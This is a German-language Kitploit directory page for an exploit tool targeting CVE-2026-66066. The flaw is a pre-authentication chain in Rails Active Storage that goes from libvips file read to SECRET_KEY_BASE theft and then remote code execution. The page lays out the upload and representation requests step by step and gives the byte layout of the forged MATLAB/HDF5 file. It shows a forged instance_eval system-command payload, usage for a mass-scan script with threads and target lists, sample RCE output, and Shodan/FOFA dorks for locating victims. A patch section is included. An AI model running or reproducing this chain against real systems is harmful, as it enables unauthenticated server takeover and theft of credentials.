Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-66066 — CVE-2026-66066 — KindaRails2Shell: Rails Active Storage/libvips Arbitrary File Read → RCE. MATLAB/HDF5 dual-identity file → SECRET_KEY_BASE theft → forged variation. CVSS 9.5 | Rails < 8.1.3.1 | Kitploit
Tools/GitHubGitHub/shinthink/cve-2026-66066
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubshinthink/cve-2026-66066

CVE-2026-66066

CVE-2026-66066 — KindaRails2Shell: Rails Active Storage/libvips Arbitrary File Read → RCE. MATLAB/HDF5 dual-identity file → SECRET_KEY_BASE theft → forged variation. CVSS 9.5 | Rails < 8.1.3.1

Repository anzeigen
1vor 16 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-66066 — KindaRails2Shell

Rails Active Storage/libvips Beliebiges Dateilesen → SECRET_KEY_BASE-Diebstahl → RCE


Überblick

CVE-2026-66066 ist eine kritische (CVSS 9.5) Pre-Authentifizierungs-Kette von beliebigem Dateilesen bis zur Remote-Code-Ausführung in Ruby on Rails Active Storage. Betroffen sind Rails 7.2.0–7.2.3.1, 8.0.0–8.0.5 und 8.1.0–8.1.3 in ihrer Standardkonfiguration.

Die Schwachstelle nutzt eine Vier-Ebenen-Parser-Konfusion über Rails, libvips, libmatio und HDF5 hinweg aus. Eine manipulierte Datei mit einem MATLAB-5.0-Header (der den Sniffer von libvips erfüllt) und einem HDF5-v7.3-Container (der von libmatio weitergeleitet wird) enthält ein externes Dataset, das auf einen beliebigen serverseitigen Dateipfad verweist. Wenn ActiveStorage diese Datei als Bildvariante verarbeitet, werden die Bytes der Zieldatei zu Bildpixeln – was beliebiges Dateilesen ohne Authentifizierung ermöglicht.

Sobald SECRET_KEY_BASE aus /proc/self/environ oder aus Credential-Dateien extrahiert wurde, leitet der Angreifer den Active-Storage-Verifier-Schlüssel ab und fälscht ein signiertes Varianten-JSON, das instance_eval enthält, um Remote-Code-Ausführung zu erreichen.

Betroffene Installationen: 500K+ Rails-Anwendungen (Rails 7+ Standard variant_processor = :vips) Entdeckt von: Ethiack Research Team + RyotaK (GMO Flatt Security) + bl0rph, Juli 2026 Patch: Rails 7.2.3.2 / 8.0.5.1 / 8.1.3.1 (29. Juli 2026)

Betroffene Versionen

BranchVerwundbarBehoben
7.2.x7.2.0 – 7.2.3.17.2.3.2
8.0.x8.0.0 – 8.0.58.0.5.1
8.1.x8.1.0 – 8.1.38.1.3.1

Rails 6.x ist nur betroffen, wenn variant_processor = :vips manuell aktiviert wurde.

Entdeckt von: André Baptista, Bruno Mendes, Rafael Castilho (Ethiack); RyotaK (GMO Flatt Security); bl0rph Referenz-PoC: 0xsha/KindaRails2Shell Metasploit: exploit/multi/http/rails_activestorage_vips_rce


Schwachstellenmechanismus

Grundursache: Vier-Ebenen-Parser-Konfusion

Der Exploit verkettet zwei unabhängige Content-Type-Konflikte über vier Komponenten hinweg:

root@kitploit:~
Layer 1: Rails      → trusts client-declared content_type (image/png)
                      No byte re-identification on direct upload blobs.
Layer 2: libvips    → trusts magic bytes "MATLAB 5.0" at offset 0–9
                      Routes the file to matload without verifying the full header.
Layer 3: libmatio   → trusts version word 0x0200 at offset 124–125
                      Dispatches to HDF5 reader; ignores the descriptive text mismatch.
Layer 4: HDF5       → trusts external(path, offset, length) dataset reference
                      H5Dread transparently opens and reads the external file.
                      
Result: arbitrary file bytes returned as PNG pixel data.

Die Datei mit doppelter Identität

„Kein legitimer Writer erzeugt sowohl MATLAB 5.0 an Byte 0 als auch 0x0200 an Byte 124."

Warum es funktioniert

  1. Vom Client deklarierter content_type — Blob#variable? vertraut der Datenbankspalte, die beim direkten Upload befüllt wird. Es werden keine Bytes geprüft.
  2. libvips-Autodetektion — Vips::Image.new_from_file iteriert über die Loader; der Sniffer von matload prüft nur 10 Bytes.
  3. libmatio-Versionsverteilung — Die Bytes 124–125 bestimmen den Parser; 0x0200 wählt das HDF5-Backend unabhängig vom beschreibenden Text.
  4. Externe HDF5-Datasets — H5Pset_external erlaubt es, dass die Rohbytes eines Datasets in einer beliebigen externen Datei liegen. libmatio ruft H5Dread auf, ohne H5Pget_external_count zu prüfen.
  5. Variationsschlüssel sind Blob-unabhängig — Geerntete Variationsschlüssel signieren nur die Transformation, nicht die Blob-ID, wodurch sie bei jedem hochgeladenen Blob wiederverwendbar sind.
  6. Dem Vips-Transformer fehlt eine Methoden-Allowlist — Transformers::Vips erbt validate_transformation von der Basisklasse, die nur combine_options blockiert. Beliebige Methodennamen werden an durchgereicht.

Angriffsablauf

root@kitploit:~
1. POST /rails/active_storage/direct_uploads
   blob[content_type]=image/png&blob[checksum]=<MD5_of_payload>
   → Rails persists blob with client-declared type, identified=false forever

2. PUT <storage_url>
   body=<MATLAB 5.0 + HDF5 external(/proc/self/environ) payload>
   → Payload uploaded, blob ready for processing

3. Harvest variation_key from any existing thumbnail on the app
   → og:image, HTML , API responses, Internet Archive

4. GET /rails/active_storage/representations/redirect/:signed_id/:variation_key/poc.png
   → ActiveStorage downloads blob, passes to libvips
   → libvips detects "MATLAB 5.0", routes to matload
   → libmatio sees 0x0200, opens HDF5 container
   → H5Dread resolves external(/proc/self/environ) → file bytes become pixels
   → PNG thumbnail returned to attacker

5. Decode PNG pixels → recover SECRET_KEY_BASE from environment

6. Derive verifier key: PBKDF2-HMAC-SHA256(SECRET_KEY_BASE, "ActiveStorage", 1000, 64)
   Forge signed variation: {"instance_eval" => "system('cmd > /tmp/out')"}
   Submit to representations route → RCE

Verifizierte Quellcode-Referenzen


Installation

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-66066.git
cd CVE-2026-66066
pip install requests

Verwendung

root@kitploit:~
# Full chain — file read → secret recovery → RCE
python cve_2026_66066.py -t rails-app.com

# Read a specific file
python cve_2026_66066.py -t rails-app.com --read /etc/passwd

# Provide SECRET_KEY_BASE directly (skip file read)
python cve_2026_66066.py -t rails-app.com --skb <secret> -c "id; hostname"

# Mass scan
python cve_2026_66066.py -f targets.txt -o rce.txt --threads 10

Argumente

root@kitploit:~
  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -c, --command      Shell command to execute (default: id)
  --read PATH        Read a specific file from the server
  --skb SECRET       Provide SECRET_KEY_BASE directly for RCE
  -o, --output       Save results to file
  --threads          Concurrent workers (default: 20)
  --timeout          HTTP request timeout in seconds
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

Proof of Concept

Einzelnes Ziel

root@kitploit:~
$ python cve_2026_66066.py -t rails-app.example.com
root@kitploit:~
  KindaRails2Shell | CVE-2026-66066 | CVSS 9.5

  Host          : rails-app.example.com
  Rails         : YES
  ActiveStorage : YES
  File Read     : YES
  SECRET_KEY    : a1b2c3d4...
  RCE           : YES

  RCE Output:
  uid=1000(rails) gid=1000(rails) groups=1000(rails)
  rails-prod-01

Nur Dateilesen

root@kitploit:~
$ python cve_2026_66066.py -t rails-app.com --read /proc/self/environ

FOFA / Shodan

root@kitploit:~
FOFA:   body="rails/active_storage" || header="X-Runtime"
Shodan: http.component:"Ruby on Rails" http.title:"Ruby on Rails"
Censys: services.http.response.headers.x_powered_by:"Phusion Passenger"

Auswirkungen

Eine erfolgreiche Ausnutzung führt zu Remote-Code-Ausführung als Rails-Prozessbenutzer:

  • SECRET_KEY_BASE extrahieren → signierte Cookies, Sessions und ActiveStorage-Tokens fälschen
  • credentials.yml.enc entschlüsseln → Datenbankpasswörter, Cloud-Storage-Schlüssel, API-Tokens von Drittanbietern
  • Mittels gefälschter Sessions auf alle Anwendungsdaten über die Rails-Konsole zugreifen
  • Zu internen Diensten pivotieren, die vom Rails-Host aus erreichbar sind
  • Über Cron, SSH-Schlüssel oder Webshells auf Anwendungsebene persistente Hintertüren installieren

Es ist kein Konto in der Anwendung erforderlich — der Direct-Upload-Endpunkt akzeptiert standardmäßig nicht authentifizierte Anfragen.


Der Fix (Rails 7.2.3.2 / 8.0.5.1 / 8.1.3.1)

Der Fix blockiert nicht vertrauenswürdige libvips-Loader:

root@kitploit:~
# Active Storage initializer
Vips.block_untrusted = true
# or: VIPS_BLOCK_UNTRUSTED=1

Dadurch wird verhindert, dass matload, svgload, fitsload, niiload, radload und openslideload nicht vertrauenswürdige Eingaben verarbeiten. Führen Sie ein Upgrade auf Rails 7.2.3.2, 8.0.5.1 oder 8.1.3.1 durch. Erforderlich sind libvips >= 8.13 und ruby-vips >= 2.2.1.

Nach dem Patch: Rotieren Sie alle Geheimnisse, die vom Rails-Prozess gelesen werden können — SECRET_KEY_BASE, RAILS_MASTER_KEY, Datenbank-Zugangsdaten und Cloud-Storage-Schlüssel.


Haftungsausschluss

NUR FÜR BILDUNGS- UND AUTORISIERTE TESTZWECKE.

Nicht gegen Systeme ohne ausdrückliche Genehmigung des Eigentümers verwenden. Die Autoren übernehmen keine Haftung für Missbrauch.


Referenzen


Entdeckt vom Ethiack Research Team + RyotaK + bl0rph. Nicht mit Ruby on Rails verbunden.

Tool herunterladen
BytesZweckWert
0–9libvips snifferMATLAB 5.0
10–123PaddingLeerzeichen
124–125libmatio-Dispatcher0x0200 (HDF5 v7.3)
126–127Endian-Marker0x4d49 (IM)
128–511HDF5-UserblockPadding
512+HDF5-SuperblockContainer mit externem Dataset
Vips::Image.public_send
DateiZweck
activestorage/app/models/active_storage/blob.rbvariable? vertraut der Spalte content_type
activestorage/app/models/active_storage/blob/representable.rbDie Representation-Route löst Blob und Variation unabhängig auf
activestorage/app/models/active_storage/variation.rbdecode verifiziert den Variationsschlüssel; keine Querverbindung zum Blob
image_processing/lib/image_processing/transformers/vips.rbKeine Methoden-Allowlist — erbt das Verhalten der Basisklasse
libvips/foreign/matload.cvips__mat_ismat prüft nur die ersten 10 Bytes
RessourceLink
Rails-SicherheitshinweisGHSA-xr9x-r78c-5hrm
Referenz-PoC (0xsha)KindaRails2Shell
Ethiack-Forschungkindarails2shell
Rails Forensicsrails-forensics-CVE-2026-66066
Metasploit-Modulrapid7/metasploit-framework#21733
CWE-94Code-Injection